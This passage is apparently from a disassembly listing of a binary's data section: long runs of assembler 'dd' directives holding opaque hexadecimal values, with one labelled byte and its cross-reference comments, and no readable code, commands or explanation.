dd 21CCE5B4h, 7044A030h, 0B99300A4h, 0B4A23745h, 8F1989DEh
dd 5E58E9D7h, 239B4C40h, 4D160F0Bh, 95800FAFh, 0DBA3F8C6h
dd 147238h, 31F275B6h
dd 0FC6D74A0h, 31307647h, 0A8A1E284h, 8D198070h, 0D854506Ah
dd 6C8100ADh, 0B031CB82h, 0BBF285E1h, 4D703300h, 0B1203B9h
dd 59C601A8h, 0DA5EF66h, 13E3F47Dh, 5465CAECh, 42F5311h
dd 0EF4BA0C3h, 0BA651000h, 5F077040h, 0F56403FBh, 0A9476E54h
dd 0F7A0809Fh, 28CEE973h, 3EA0BD56h, 32409917h, 84F3A044h
dd 42789422h, 9FEA1103h, 0B27F4474h, 883F7144h, 9D01BF55h
dd 1063D64Fh, 0B57049E1h, 0FA6E0777h, 0A008F6D3h, 0D6E67020h
dd 0D7A4D800h, 40863328h, 0F7EC0010h, 976782DDh, 98000172h
dd 0FE84EDFh, 52BDA6h, 0EE5E5647h, 3119D094h, 182C6200h
dd 0BB6849F7h, 8CC8FF2Bh, 1A080015h, 0D121511Dh, 8F002E06h
dd 7DF6A067h, 0F37A6F1h, 5B4C092Ah, 41C87B00h, 12054AFCh
dd 0E743C96Ah, 0E16FB040h, 75F04AEh, 10333BF4h, 0BAB2C018h
dd 0E7009528h, 0EE67133Dh, 70DC7E5Dh, 5AF500B8h, 816C9A27h
dd 9900AC25h, 0AEF40B11h, 0FE9E0A2Bh, 521D187Dh, 0ED4D1278h
dd 0E6A43900h, 1CBCB56Bh, 0EEB3005Fh, 0B9501BDCh, 7CECFC5Bh
dd 655850A0h, 0FEA5981h, 132832A0h, 10004E8Eh, 473CFF27h
dd 0DF8112h, 0FC367FBBh, 13682844h, 0E2198900h, 5059BD69h
dd 3B10CE6Fh, 0CF208AAFh, 85CAFF3Ch, 97E9EC03h, 0C0FE9A9Bh
dd 13ADA757h, 10ACF787h, 0F807A8FAh, 0DBC095DFh, 5CF16287h
dd 3005628h, 3CE57344h, 0CA1AE21h, 4C199E5Ch, 70009A68h
dd 3EBDE2CEh, 0E32A72Ch, 0CD95E3F3h, 942E446Eh, 0A6D0BF00h
dd 0AA03250Dh, 7BCE3396h, 0E288F83Fh, 12E302D4h, 39E00865h
dd 52EAF160h, 14430500h, 0CACD44A1h, 23102A7h, 0AF34BB03h
dd 0A3CD887h, 13FD01E4h, 0CC71FF81h, 0F2003704h, 99B78903h
dd 9417D0h, 0D45C021Eh, 0E844F921h, 61367A02h, 0E3CD8339h
dd 6B3CC82Dh, 0CF6A0023h, 91F86FA5h, 0A30048C3h, 0AE46F0EBh
dd 0E8D5C7D4h, 2D590015h, 0D0ED81C8h, 7B0002D7h, 0E5300C24h
dd 0FA965763h, 8FFE01BCh, 0FA198DAFh, 3E43D491h, 905BD500h
dd 6FB7037Ch, 947D0016h, 0DEDDE676h, 0B9031288h, 70A4686Eh
dd 17F89938h, 2BB5C4h, 2CD490EBh, 20EEF64h, 989A5802h
dd 69A3537Dh, 25E43714h, 0C943008Eh, 6DB5E3D2h, 4A04CFF6h
dd 33D88460h, 0CB000287h, 588C7F66h, 8700B338h, 5230B897h
dd 2A30C64Ch, 0F7E4B0BDh, 0EF767Dh, 0AF812C48h, 2B78B344h
dd 0B13BF803h, 0E2CC24B7h, 71F6E016h, 9FB82Dh, 0D81F2694h
dd 3CCED184h, 0CB1CDB00h, 0FB458B85h, 159F00F1h, 0F658F587h
dd 0F800D3C5h, 1C551AE6h, 1D723BFh, 434DD6A1h, 0C80E93E9h
dd 1F000AEDh, 6CDF90F3h, 514259h, 27CA7F2Ah, 28BC99B8h
dd 0DAAED300h, 0FCCCFEEFh, 187D000Eh, 74D1855Dh, 50000FB3h
dd 0D99EA934h, 3C2728ACh, 9F008ABDh, 0ADE304C4h, 0C036A8Fh
dd 15E5B8A6h, 409CEAD4h, 0EF435Eh, 66E60A3h, 7EAF3B76h
dd 4889CE00h, 807521ABh, 40AD0053h, 95C8A25h, 130065BAh
dd 0C7CE013Ah, 0E0EF034h, 36D018D5h, 1A975060h, 0EE005F6Eh
dd 8CA0969Bh, 7D691006h, 8E733CB6h, 0C5E93000h, 0F046D4D9h
dd 1985F200h, 0E1A65872h, 151F0054h, 23EDB6B2h, 0E0F0A0EFh
dd 0A270E400h, 83A8AB16h, 7B7004Ah, 8A93BDD0h, 87269532h
dd 1E1D5052h, 0C7979C80h, 1CFA5622h, 802C8F34h, 0A5D05146h
dd 1500A3C3h, 6F4C02C4h, 0CC81E8h, 0D9A11065h, 0C0674475h
dd 305D3800h, 0EB1BA79Ch, 12E709F8h, 0CD83D4C6h, 65F0260Bh
dd 6E004ED7h, 40104DA7h, 2D3984h, 0F7B7218Ch, 93B81BA4h
dd 743A0702h, 40AE1A46h, 1EEF677h, 7B56AC20h, 0F889168Eh
dd 5300D030h, 998CE99Eh, 3BE50AD5h, 4F80ABF0h, 9102436Eh
dd 1F03D47Fh, 0CFC19755h, 8BBFD0D6h, 602D002Eh, 0D41C44D0h
dd 740046E5h, 67A8F288h, 2CFDD362h, 6E043Fh, 0C2361F31h
dd 8FA0A686h, 73E4BADFh, 7C99FC09h, 156C202Eh, 9F6467h
dd 723F6DB2h, 5988FD61h, 0F91ED77Fh, 9340EBDBh, 2169248Eh
dd 5C5F1D82h, 3104FB53h, 0C0227B3Eh, 0B53AE14Ch, 328E3300h
dd 0AEC3FF43h, 0B3810F6Dh, 4DA00874h, 0E4262EC2h, 99536F00h
dd 66847822h, 271F005Eh, 61A30BF5h, 8300E849h, 86ED9ECAh
dd 1F4F9170h, 80EC65D9h, 0EAE0A923h, 2A00AD0Fh, 7A9FBD89h
dd 7F084134h, 51263E1Fh, 0D6F0680h, 876C548Ah, 0CFD16E0Eh
dd 0C071CF7Fh, 73B736CEh, 3DD493FAh, 8C0F2200h, 27653EC1h
dd 2F9A5400h, 24FE0B8Ah, 0E0FC60E1h, 0CBBDD1A9h, 0C1A52D07h
dd 45303044h, 3B43B5C2h, 0C70341C3h, 2CDDCD48h, 91BA85F0h
dd 226D1F00h, 45F5A023h, 872939A8h, 3FC805A6h, 0C5BE93h
dd 59492FBCh, 5B1325A9h, 541CBA88h, 203A94CBh, 2263FDDCh
dd 109E3D2Eh, 7CCB26h, 235BFDCh, 97007B0Fh, 4BEC681Dh
dd 0F42E40h, 0C97FBC39h, 6F243E37h, 0BACD0600h, 0F39E0C19h
dd 3440C0CAh, 488AD7C3h, 0B165D400h, 9FAF8240h, 67EF004Dh
dd 6F0516CDh, 0BC9A94DDh, 0FF6B3101h, 0F9878D01h, 0B3C064h
dd 0C5352E6h, 69679523h, 0D6FAA500h, 0E405093Bh, 5EE93AFDh
dd 8109D24Ch, 0CA0091F5h, 0C8CDD61Ch, 63008B7Fh, 1482B118h
dd 6DDE2DAh, 0E860B246h, 0D05F80Ah, 1733AA41h, 0F508405h
dd 53658D0h, 0C098DFh, 27B75A94h, 0D9460975h, 31748D3Ch
dd 0C92130FBh, 0F4A452F0h, 36C700F9h, 8A2BDDB9h, 33FCFB3Bh
dd 56E0C000h, 5B684311h, 55B9001Fh, 3C729BC6h, 0DF3D1C4Dh
dd 0ED2101AFh, 5EC8399h, 0E397D850h, 26CCF4A2h, 6CFAF4h
dd 85750477h, 0CE009411h, 95A91D0Eh, 3DA90B8h, 435898EDh
dd 6780E580h, 2212B208h, 7C83A01Fh, 0A713B32Ch, 163EDAF0h
dd 0C2D701EBh, 9C47E1A7h, 80D85539h, 587C18FFh, 1CC07400h
dd 2DF67F0Eh, 93C700BAh, 803A6502h, 0B2471F0h, 2F801CB7h
dd 0C8F8FB70h, 867D10h, 0C373D464h, 0DA2CE928h, 0A8B0A600h
dd 0AB4B8590h, 22B80DF3h, 61982595h, 50998EEDh, 5CC60DFh
dd 7D6784Bh, 0B353EBAh, 0C091C5ABh, 0D8F3E369h, 9D8D48h
dd 57061C71h, 196F0464h, 5051755Ah, 0AC2C708Eh, 8B6E6A00h
dd 0F52111BDh, 0BAA1003Fh, 3D2B74FFh, 0BC3AE7B6h, 0D78704B9h
dd 3490A011h, 72C4D3h, 0F35735CCh, 60331BDFh, 0F554AA03h
dd 0B0757CBBh, 0B7772Eh, 55C8E4ACh, 1ED2D96Dh, 6515B600h
dd 0C9769748h, 34241DD7h, 0C2CE8018h, 0F8511E43h, 3244C600h
dd 0DF9B887Fh, 1C3E83Ah, 56BDB1B5h, 0D4133477h, 1C0253C2h
dd 0F260EA87h, 990603Ah, 0C08376ADh, 35C16C20h, 616E731h
dd 2D0047DAh, 72CDCEDEh, 0FE54E4F6h, 0ED9075Dh, 0B06A8A84h
dd 9BEBE0EDh, 83EED400h, 0B918AEE3h, 7073029Eh, 5E177271h
dd 0EC148440h, 33F60C76h, 410783EEh, 18529F88h, 0E149BF10h
dd 0D73C2895h, 887860BCh, 2B76B334h, 50402A00h, 0CD661A65h
dd 373A0036h, 496AA8AAh, 91050E34h, 0E892B823h, 388B8402h
dd 16E1E01Ah, 780B00BDh, 2C30D3E3h, 0A400A8A7h, 0CDD77C1Fh
dd 0F9BBD8h, 1B5F8066h, 60DE0B46h, 0A4398303h, 0F0071C3Eh
dd 0A7B694h, 32F1AA8Dh, 0A26AB58Ah, 0B890400h, 79907BAEh
dd 234A0088h, 28BF85B4h, 9D002E6Ch, 713C5C50h, 0FF1B3Bh
dd 16B90B45h, 3017032h, 0CC42800h, 2D7A3117h, 0E2530089h
dd 0D3D7E4F8h, 50005EE3h, 5DD59B44h, 80AF08h, 4BA46F82h
dd 0DCB1E956h, 0E0663802h, 4018F786h, 0EC5C7638h, 0C88C0019h
dd 0D3328108h, 444CF396h
dd 157D2C07h, 0BC6A4500h, 1C3F6B2Bh, 802F8CCCh, 62F0678Bh
dd 691E3B13h, 3A478FBDh, 425460B3h, 0E18E5CD0h, 3E24E857h
dd 1212FEBBh, 37908089h, 1676D33Ch, 0FF006098h, 0CEAFF5EDh
dd 0EC66AD65h, 0DB920EB0h, 69EAC8F6h, 3FF103DBh, 0CD9777h
dd 88E76CC0h, 8B0EA0C1h, 6080A4D4h, 0B712177Ah, 7F2506A5h
dd 9032E7F7h, 60DFE248h, 6D9AF90h, 8079D7h, 54FCF996h
dd 0B56CD6CBh, 0E5931800h, 345E05DDh, 12F401C6h, 6D752070h
dd 790E80E4h, 0C14CE7B0h, 418700A2h, 86C3A834h, 43016C81h
dd 0DC68E348h, 0DED41A4Ch, 677F00E1h, 152A3FA4h, 71F8C739h
dd 1E878100h, 1B5CC192h, 27AC00FBh, 0BE458AA2h, 0CB0017BCh
dd 470CABB0h, 10640Ah, 0AE54DFD0h, 431FDBB4h, 0F9C84E61h
dd 0D92052C1h, 6675F4h, 0BEFA305Ch, 2960BACCh, 81396A00h
dd 0EC8574D7h, 370A0ED9h, 1040F6F2h, 52DCC99Ah, 0F338A37Fh
dd 0ECB780C6h, 0CDC53DE9h, 638E00CAh, 3C7D8533h, 0B5E0AA4Eh
dd 0ECB6048h, 6361C9D8h, 88092B21h, 22ACB80h, 9AFC1D12h
dd 5C71940Ch, 42EBB00h, 205A1F2h, 0B65A82D7h, 411039h
dd 608B21F4h, 0DEF4E5E8h, 0C51DE909h, 1F080CFh, 19542Ch
dd 5EED0AF9h, 79FE66ABh, 0CD551102h, 0E068B561h, 0E58F70h
dd 0D32D150Bh, 3091951Ah, 12A4DD01h, 38B6EE4Ch, 5651D8h
dd 2A9BBC25h, 2F160B1h, 58DD1201h, 0AFF9382Bh, 0AD411065h
dd 0A42054F8h, 1DF30769h, 0D0B9AC51h, 0BD17E172h, 3D145C09h
dd 7134077Fh, 360580Eh, 77501C95h, 0AD86C5Eh, 9AD0A161h
dd 34A1F92Ch, 30011458h, 1300B39Fh, 76D29754h, 0A08A4B10h
dd 13AA20BAh, 41AB3B72h, 45CF2CF4h, 0E870D6B1h, 0A8C2CD00h
dd 0E2B526B0h, 0A57D0031h, 0E927F6B9h, 35003997h, 6D0FA40h
dd 0E36CA10h, 0C09E5B6Ch, 0A025D6A7h, 5785C279h, 811E6FF8h
dd 2A475A8Eh, 0D0D0CB97h, 0FF6DC8Ch, 7499BB77h, 0E7C1ED3h
dd 0A406654h, 532636E0h, 0F003971h, 0F4F524D1h, 14BC65Eh
dd 9D0E1F18h, 0FF95E3BDh, 0A10958D8h, 7E03AF78h, 0BAAD2288h
dd 0A64A8003h, 0D2211E68h, 0D17092Ch, 47266980h, 4D0534BBh
dd 27524441h, 20F9C80Ch, 68B079h, 78EF310h, 9404B395h
dd 8330153Fh, 0EDFE9806h, 755480DCh, 25BFEC42h, 6080D2F3h
dd 0E559C658h, 0BD7AC5Ch, 81CB6DE4h, 8A985F58h, 1CE04D02h
dd 0A900D8BBh, 84517333h, 0B0D4B7C7h, 26A30080h, 0BEA06611h
dd 31E69504h, 2000B094h, 80B9A26Bh, 30A4A45h, 0CAF0EECh
dd 7647B8B0h, 0D2010C90h, 94CA2EF9h, 2020DF31h, 0F1540063h
dd 76246BFBh, 8C71F545h, 1E003BF6h, 0AE44CC96h, 6650D16h
dd 37ECC3C9h, 0D60406DBh, 0C5AAB197h, 0D85A2C91h, 0B5006036h
dd 0DDCF0FF8h, 13050573h, 1C0E7E46h, 0B0F20CC0h, 0C7FB0E8Fh
dd 0B80B496h, 1EFC2E1h, 7DFC224Ch, 2BF7E09h, 2C2400D1h
dd 1796ECFCh, 986299h, 0DDB68EE0h, 6F3A9335h, 5801CF52h
dd 0C72E0886h, 0E5DA4C70h, 0F8596C60h, 57A70099h, 0A240AE66h
dd 0C4002CCCh, 0D94C52D7h, 3D5340Bh, 8BEC3377h, 8EA97D19h
dd 0B71C207Ah, 117C1A00h, 725B014h, 0F33C0061h, 0FC34B662h
dd 0C34A9A83h, 0BE7C13h, 0D9E8A5B2h, 69017F02h, 71FF805Bh
dd 36800188h, 991A975Ah, 0E8007E98h, 72F93ED2h, 4E1B6FEh
dd 626404D9h, 9D8CC05Bh, 0D4F45097h, 132E0C90h, 0C79CCCEDh
dd 582B55C0h, 0F190D04h, 3D094CB0h, 0BF2F66C0h, 0FCF785AAh
dd 0DF00F07Ah, 0EA283010h, 0CB2B40h, 0F2FF66B9h, 0EF745C80h
dd 3714D218h, 9F8630h, 0C3B6612Bh, 0B7A4586Eh, 62C34D75h
dd 9056DF12h, 61B4C1h, 0CA5A8175h, 0D8A929FEh, 0BA874200h
dd 0A683C5F9h, 1D4B7D6Dh, 80C7110Bh, 0B32367FCh, 0B100944Eh
dd 82F5AFACh, 0EEA069F1h, 5C95EEEAh, 84400CDAh, 21522F2Eh
dd 100DB76h, 0F210E8E3h, 20640083h, 8880071Dh, 0B00045A8h
dd 62C64209h, 57423DCh, 0C7A75915h, 4D48E07Ch, 0AD004CB0h
dd 0A06CE58Ah, 0CFD42A8h, 0D2AF156Eh, 620011B0h, 0D6203E69h
dd 0E102D70h, 6F9E835Ch, 0CC9A17E0h, 0FF002AF9h, 16CA95DAh
dd 7527D3A8h, 63560194h, 4E6E5C40h, 80782066h, 0E7078A1Dh
dd 68D1B407h, 982CA00Bh, 0C00EFBECh, 0E1327890h, 8C37B3Ah
dd 1FD75C66h, 7D27E18h, 3F849E58h, 0F5302F47h, 0EAC2033Eh
dd 20126F44h, 94C02779h, 58EF153h, 0C3960782h, 1EF0E012h
dd 0B1717C00h, 0BE05A56Ah, 0C18A005Ah, 0FB38CF87h, 1802E28Eh
dd 0E5AE80DDh, 3FA02222h, 98C617E3h, 281F5B00h, 0B19F54F5h
dd 0D8EB00B4h, 7080F0DAh, 0AA0184D7h, 3A4E6F10h, 59C4380Eh
dd 0D025030Dh, 0EFB6DCEAh, 0A9438200h, 732E8504h, 77E424D3h
dd 3EA60066h, 968FE6E1h, 1A23139h, 0F0536B6Fh, 58384FA5h
dd 612DED00h, 0C2DF90B9h, 0A778010Eh, 0E1F98CC1h, 61443B8Eh
dd 4C5A2200h, 49741992h, 0F9F1F615h, 0E3E200B0h, 4F2A149Ch
dd 0A28D00C5h, 300771FBh, 4D007F82h, 0D3DA6480h, 31E1877Bh
dd 5339E6E2h, 5D22D0DFh, 0AD112167h, 8EB10D70h, 0F832079Bh
dd 46314397h, 0C41D2115h, 0A4C10EBAh, 0FF5E45BBh, 779F1980h
dd 0DFFEB6ECh, 0C724F106h, 0EC113A5h, 69D2892Dh, 888FB3C0h
dd 0E6FF275h, 7C84A2A0h, 3E3263BCh, 0AD0CDA10h, 0F3A1F8E6h
dd 56C6D500h, 12E1E27Bh, 4C09DBD7h, 0DD132000h, 0CE595EC6h
dd 68E628C5h, 23E5000Ch, 0B934A4F0h, 640091F5h, 332275E3h
dd 1D6604h, 5D5B16A0h, 68EEBA8Bh, 7580FB05h, 4401C712h
dd 27DE9C02h, 4E7D1080h, 317242A9h, 579AAA0Fh, 6B3B40E1h
dd 705FBE3h, 0C60BB7F6h, 11CC70C0h, 0C901375Eh, 0E165F13Ah
dd 30600DE4h, 593403F8h, 9EBA5F45h, 44884FE3h, 5A006578h
dd 0C0B22F96h, 34DBB8h, 8D89BE9Ch, 75D674ACh, 650C0B0Eh
dd 2A2FA5A2h, 0E0292980h, 33BB0388h, 7A9EC174h, 0AB0C0AB8h
dd 0FF90773Dh, 0B80C3A7Bh, 9EFF2D8Fh, 0B6500040h, 0D86B7859h
dd 0F503557Dh, 91E94C4h, 0EF7C3FD2h, 5D9C6480h, 0C871FE8Dh
dd 9EF9DB00h, 797F01A7h, 0CD210E4Bh, 0AAC0531Ch, 997037ADh
dd 968CF300h, 8283DF35h, 6C65009Ah, 0D66940AFh, 0B658D271h
dd 0F62900E3h, 39A9AA8Ch, 3EB3005Eh, 666E3DDh, 0BC016C60h
dd 0C0A437D9h, 21809121h, 0FDC750F6h, 20A7848Fh, 0C1F94B08h
dd 71AE4E35h, 8CF1C457h, 1F024F07h, 0DA41ABC7h, 0E13A2260h
dd 2170E7CEh, 0CBBE5A00h, 15D9C5B4h, 0BF4F02F9h, 0B6AB0BBAh
dd 993440D5h, 64AF0091h, 6A9CACF1h, 3B034F8Dh, 407F48Ah
dd 37AA389h, 6A74A521h, 0A9B09CAAh, 0BD0653ADh, 2C87F3A0h
dd 288C6710h, 0D59F40E7h, 10C5865Fh, 4883A4D1h, 2963D878h
dd 6A09CC71h, 0DC063121h, 9C9B8B81h, 94220069h, 643A751h
dd 0FC00EA0Fh, 6AB832A4h, 74C9A3CDh, 79CC144Ah, 5D11A894h
dd 468D0A87h, 0AF01A43Bh, 0B7A1F14Ah, 4480AC57h, 38985137h
dd 327792ACh, 0A6083AE4h, 0E9AF9480h, 0DFC51AAh, 0B731A00Ch
dd 1FF91958h, 0FCB38Ah, 83553961h, 9EFBB4C4h, 10A4CFF0h
dd 0EE4380A0h, 0DD007423h, 0F779ED81h, 0F4608667h, 80B53231h
dd 22DB0046h, 0C7E1D460h, 0B9C03588h, 10093750h, 13FE895h
dd 9D71C022h, 80F5AB2Ch, 1E061341h, 612D52DFh, 0CC0FF158h
dd 7D818F5Dh, 36A5607Ah, 3DC2EAB7h, 0BE8019E7h, 0EB54D73Ch
dd 700D5AEh, 50944CBDh, 0CF849E4h, 0DB23480Ah, 3600F619h
dd 0A39932C3h, 3A5149E3h
dd 0C530E2ACh, 0C3DEF521h, 8A2C0901h, 16779C04h, 0B4D61880h
dd 872D2402h, 0FF587C0Fh, 0A0E1EFCCh, 3498C09Fh, 62C2003Bh
dd 0D43DF8E5h, 0A71E9DB6h, 0A6587E1Fh, 47E740h, 0BB0325A2h
dd 438AAA68h, 216D08CCh, 0EEBF7EACh, 7DD20FC0h, 0E04211F1h
dd 8920E95Ch, 0F5B9D04h, 0BF20ACEFh, 218EA48Fh, 0D64B82C1h
dd 6014FD07h, 1F060505h, 873DEC4Ah, 21A16008h, 539B317Ch
dd 4D3BDB00h, 0A78D4981h, 51C801BDh, 4CA3B7C7h, 89284820h
dd 52D9B08h, 4CF4C217h, 9B11000Bh, 33757FDh, 149183CDh
dd 70F70394h, 0B23D2FAFh, 0A978B601h, 897D791Dh, 468C58A0h
dd 3BE021Ch, 314302E9h, 56C71072h, 0EF6C00A2h, 412E3F53h
dd 0D1504525h, 4A146FD8h, 0E66A7Bh, 51ED54ABh, 5D58D2h
dd 0FBBFD941h, 185B2F6Eh, 0E4087E2Ah, 403D3601h, 4EF4B2C9h
dd 0A8A21023h, 269B30h, 2C76E9A5h, 50AD5704h, 15FBAE0Ah
dd 9401D4E8h, 24BE0AFAh, 0C3342C50h, 93992330h, 0EF4439h
dd 1760C3DCh, 0F4DB41B7h, 0C1922300h, 0E0E60435h, 5C4A1DDDh
dd 47317324h, 10D830CBh, 0DA00B0E8h, 85536D66h, 4A2036h
dd 43A3165h, 25A8210Bh, 38D0F130h, 0EBE464h, 8323D4E3h
dd 45FF0916h, 4A24EC2Eh, 92A18A01h, 240284h, 12AD00BDh
dd 0CB315638h, 9DB897EAh, 14B3B000h, 26E2EB99h, 0C091DEE1h
dd 63A5EAD4h, 0BE002A7Fh, 0DAFE92B5h, 0CFDE51Dh, 0BD77F94Eh
dd 0DE90129Ch, 0B50D3F00h, 2EDED65Ah, 6CA1C0E2h, 0C45028EDh
dd 82CF3103h, 0A3CBE9CCh, 892100D3h, 7B222905h, 4AF4C4C1h
dd 24D249h, 432A5E98h, 0AC6C0AFBh, 0C3320FE8h, 0E2C89916h
dd 1140BA64h, 0C818C33Bh, 1D623D00h, 83048C9Ah, 0D15491C2h
dd 445186Dh, 0E28440D2h, 0E28487B9h, 98495F01h, 0D8F091BDh
dd 0B1291387h, 0CCC21C4h, 0EB8388DEh, 7F4D2801h, 0E025E775h
dd 96361984h, 4091C73Dh, 97E1F4D4h, 0F98E1D00h, 70FA1ACAh
dd 602DE6D7h, 0FE04797Ah, 7B00AB50h, 704EA1F3h, 0F35675F1h
dd 125F89F0h, 35322AA3h, 0B5600314h, 0D0E7EDDCh, 0D44C83C6h
dd 0BB260D00h, 0CE4AB73Eh, 232D11AAh, 750071D2h, 49287702h
dd 17E0A17h, 0D053926h, 7060B82Eh, 2548B331h, 2A458060h
dd 874D1Ch, 805B2CB2h, 0B54BCE23h, 0FF501900h, 8BB32562h
dd 1289F424h, 50E83546h, 1923CCE0h, 0EBA26101h, 2033CB02h
dd 3B92E80h, 0B70C905h, 5597B000h, 0A1562098h, 0D4F84814h
dd 288CADBCh, 3C819A02h, 8C9DED5Ah, 5F848028h, 31852096h
dd 25A4D754h, 9E3980EBh, 0A04323B7h, 0A3020245h, 2811F4ABh
dd 8A928D60h, 0AED35603h, 253547h, 0FA3DFDE9h, 0CDB8E588h
dd 0F0DA0A2Fh, 5651C075h, 0D0943C85h, 0D9C02C91h, 3173B9Bh
dd 3FDEAA31h, 8007239h, 7A1A595Dh, 713B73F0h, 947007Eh
dd 1BCB399h, 0BE066051h, 5EB9F98Ah, 0A9A10028h, 1C89EC9Dh
dd 827D0493h, 50D5D20Eh, 4055C8F6h, 0E1CDCB1Bh, 0C7116267h
dd 4FEBEFC1h, 0AFD97180h, 0CA31033Bh
db 54h
byte_520045 db 0E1h, 48h, 0B7h ; DATA XREF: ___:004385A0o
; ___:004385B8o
dd 87FC31C0h, 0B8F7903Bh, 9A6D0037h, 587573A2h, 0E22A82FDh
dd 0E8462C15h, 923B701Ch, 2C9A1132h, 8F00B622h, 4DB03BA8h
dd 54F0459h, 0E8402D0Dh, 5BCD8109h, 0BF97E8E7h, 0F130E554h
dd 3B75058Ch, 23BA310Dh, 21585C5Ch, 0D63B00D4h, 150DF030h
dd 0D06A1F82h, 306AC22h, 72BC7B42h, 1D3F41B0h, 9A987A50h
dd 0E6FC9D00h, 68B64B0h, 186360F8h, 770F0DFAh, 0D4501507h
dd 0D5079D32h, 218346h, 0E50F05BCh, 14172907h, 2D23AE00h
dd 2FCC9550h, 119C00A5h, 0D762F56Bh, 0AA00218Bh, 0C5F335E7h
dd 0E5BBB1h, 30020669h, 22A2B8FCh, 4DB39200h, 0AC0BD228h
dd 10F300ADh, 6FF593CDh, 0EC00FF9Eh, 0EFC82548h, 8C6D69h
dd 8D542379h, 380AE3F6h, 9E9CAA07h, 4B20FFF4h, 0A9BF50h
dd 6422CD60h, 446F2E43h, 0D8C048h, 9935D428h, 69EE50h
dd 8F25E892h, 0CC49D5CBh, 0E729B4C0h, 9BE285h, 36B7A593h
dd 0EED42F7Ah, 0EF2C138h, 173CBBh, 0C62ECDD2h, 238030Eh
dd 3FE75EC9h, 88AA5CF8h, 0C3049600h, 0F07D8EA0h, 0CE570043h
dd 0D5C0A9C9h, 0D64E1568h, 4D9B1C80h, 0BE9E0192h, 36B8D85Fh
dd 20EBFB29h, 12415CEAh, 0C7804482h, 7FD301ADh, 0D019DDF3h
dd 9630ED1Ch, 77AA80E9h, 35A500F2h, 0A3563767h, 3D031580h
dd 16079AE1h, 0CF87C8B1h, 0DA0B20A4h, 28246000h, 0FD536EEEh
dd 801B044Fh, 40D03BC0h, 0CC8E7EC1h, 0EBF200FAh, 0F6056FF8h
dd 65EC8F43h, 58358800h, 5C87AAFEh, 49C0A039h, 0DFCA3036h
dd 95985140h, 3459A0A0h, 0BA0EEA79h, 0C06A9603h, 7AAAACC0h
dd 0EE4000Dh, 810A18F1h, 1C308D9Bh, 366641C1h, 2AC601D4h
dd 6CEB189Ah, 1684F0F3h, 0D0C00263h, 0AF22E8BBh, 3A7E58C0h
dd 0AECB0D00h, 3BC9CABCh, 640ADFF6h, 0A0384F33h, 377DC700h
dd 746B5C8h, 5BF0B369h, 33DCA0BAh, 0CA00408Fh, 623662Eh
dd 396D621Bh, 0AC4EA2FDh, 5E090021h, 0E89F4A15h, 44B60012h
dd 0D9BA6380h, 0F90786A6h, 0AA6D8491h, 8F5B0EC1h, 34353F8h
dd 17BC5481h, 10A391B3h, 82574003h, 0E04B97DCh, 1DE8AE7Dh
dd 0A4E9F93Dh, 8C640440h, 0D9A00C4h, 920C739h, 47802B8Eh
dd 40858000h, 0F87921B0h, 90041D09h, 0B9FC0063h, 3A1FA7Eh
dd 0C1F07134h, 0C0832906h, 9BA4BAA0h, 52CC090Bh, 0D20E5DA1h
dd 33B4DE23h, 0C66CB6F8h, 16CA58h, 0AE09D08Dh, 70A5E2A4h
dd 3900026h, 3E8AC3D1h, 0C0017A9h, 5AB3330Bh, 3C55A4E4h
dd 8C034792h, 96563CDEh, 5DAE680Fh, 0B1F80051h, 0D5E24Eh
dd 6B46783h, 0EC751FE5h, 5FACD803h, 843556h, 630D5030h
dd 6D974E59h, 90CF60F7h, 51D81F13h, 39FD3200h, 0E41B47h
dd 0D7336730h, 4292586Bh, 0F196840Bh, 803C80C5h, 0C087590h
dd 2F343E72h, 0C283330h, 820080B3h, 0F6EBE30Dh, 0F8A78Fh
dd 7592BFE9h, 9CFE4313h, 83A58000h, 0A48FF5D1h, 0F9FB0A77h
dd 70203C55h, 8CB23Eh, 7D859BE7h, 4AA3D053h, 9392060h
dd 0AA1FBCEh, 0C0E87133h, 4B8064CCh, 578180E9h, 1EF56D8h
dd 258C592Fh, 57950D03h, 87E82A8h, 4F83CC80h, 0A00C7E7h
dd 2A2E5DF5h, 1803062h, 0ADEB46E3h, 952221C5h, 0F804AE59h
dd 794E688Bh, 798909E3h, 0BF1BCD80h, 9D0FF0C8h, 87850942h
dd 35C0D02Eh, 7C2AE9AFh, 1F0F7C81h, 4DDE8B8h, 0C3A0749Fh
dd 5903A548h, 0D91D1BF7h, 0E8504084h, 9B51C1CFh, 24480D04h
dd 4603990Ch, 763C7F29h, 6183E0D7h, 2F8F0FF4h, 30A065C6h
dd 0A325B805h, 0F0857419h, 86E2A6B9h, 0CD12C60h, 6550CAB0h
dd 790F0E59h, 0A19FBD7Dh, 5528FF3h, 48F2704Dh, 5CB730h
dd 0DB12327h, 0FEA1C67Eh, 7AF3405h, 800080B3h, 0A5C5924Ah
dd 9C330306h, 41020367h, 0C4356905h, 4C658D23h, 0BBBD5804h
dd 0BFAF051Fh, 2EB44E76h, 414750C6h, 7FB5F70Fh, 0ABA9780Dh
dd 0D46D31E0h, 0BCB22138h, 8C6B0A59h, 448F89Fh, 88517077h
dd 0CD46150h, 741E0324h, 3A85003Ah, 8FA0049Eh, 7E2090A5h
dd 26F90F51h, 325D0C9Fh, 6C109929h, 82289A2h, 2D2B4486h
dd 0A3462284h, 22F85622h, 414223B8h, 228EB011h, 275005Ah
dd 0E8E10DBAh, 95F4DF7Bh, 38009877h, 74540833h, 776DDB75h
dd 0A3640047h, 0FFC73C2Eh, 0C2FAAA85h, 3ECC1D00h, 0B9A55370h
dd 725FADAh, 71FC9AC1h, 5B919090h, 51003BD5h, 5C3E4D85h
dd 37C20BBh, 1D33CFE4h, 4D0D8DEh, 8F008109h, 4AF5B731h
dd 72D607Dh, 0C873CC6h, 9CA26034h, 8A0703BFh, 418DCA43h
dd 164EBA80h, 7E9D02FDh, 2D79F37Dh, 0D871C0A0h, 7F00EBDDh
dd 0E1E68AB3h, 12041D3h, 0DB9C9FA8h, 0F3FFA634h, 0C6C042C3h
dd 2F01A252h, 0F37C5C91h, 40347E85h, 0A796073Ah, 60F01C40h
dd 4E535446h, 0A606A07h, 0BEE03083h, 0EE438DD9h, 0BB8008Bh
dd 6DD1CE11h, 1D006053h, 93C7D720h, 0B976C9h, 29A5FEBEh
dd 0B4895039h, 77AD8F00h, 7693191Ch, 4505074Ah, 774FF9CBh
dd 0A4A05078h, 563095F2h, 4B20B8E5h, 0F308000Ch, 0D11DC5Eh
dd 0D3E6FC8Ch, 12792F00h, 2E9E52DDh, 679D014Dh, 478FD405h
dd 0BDB0FC26h, 0AEC05000h, 0C69338CAh, 6F60F1Fh, 0EFA01573h
dd 1765F22h, 87A4A93Eh, 55A87F28h, 40EC0FAEh, 0C746D2ACh
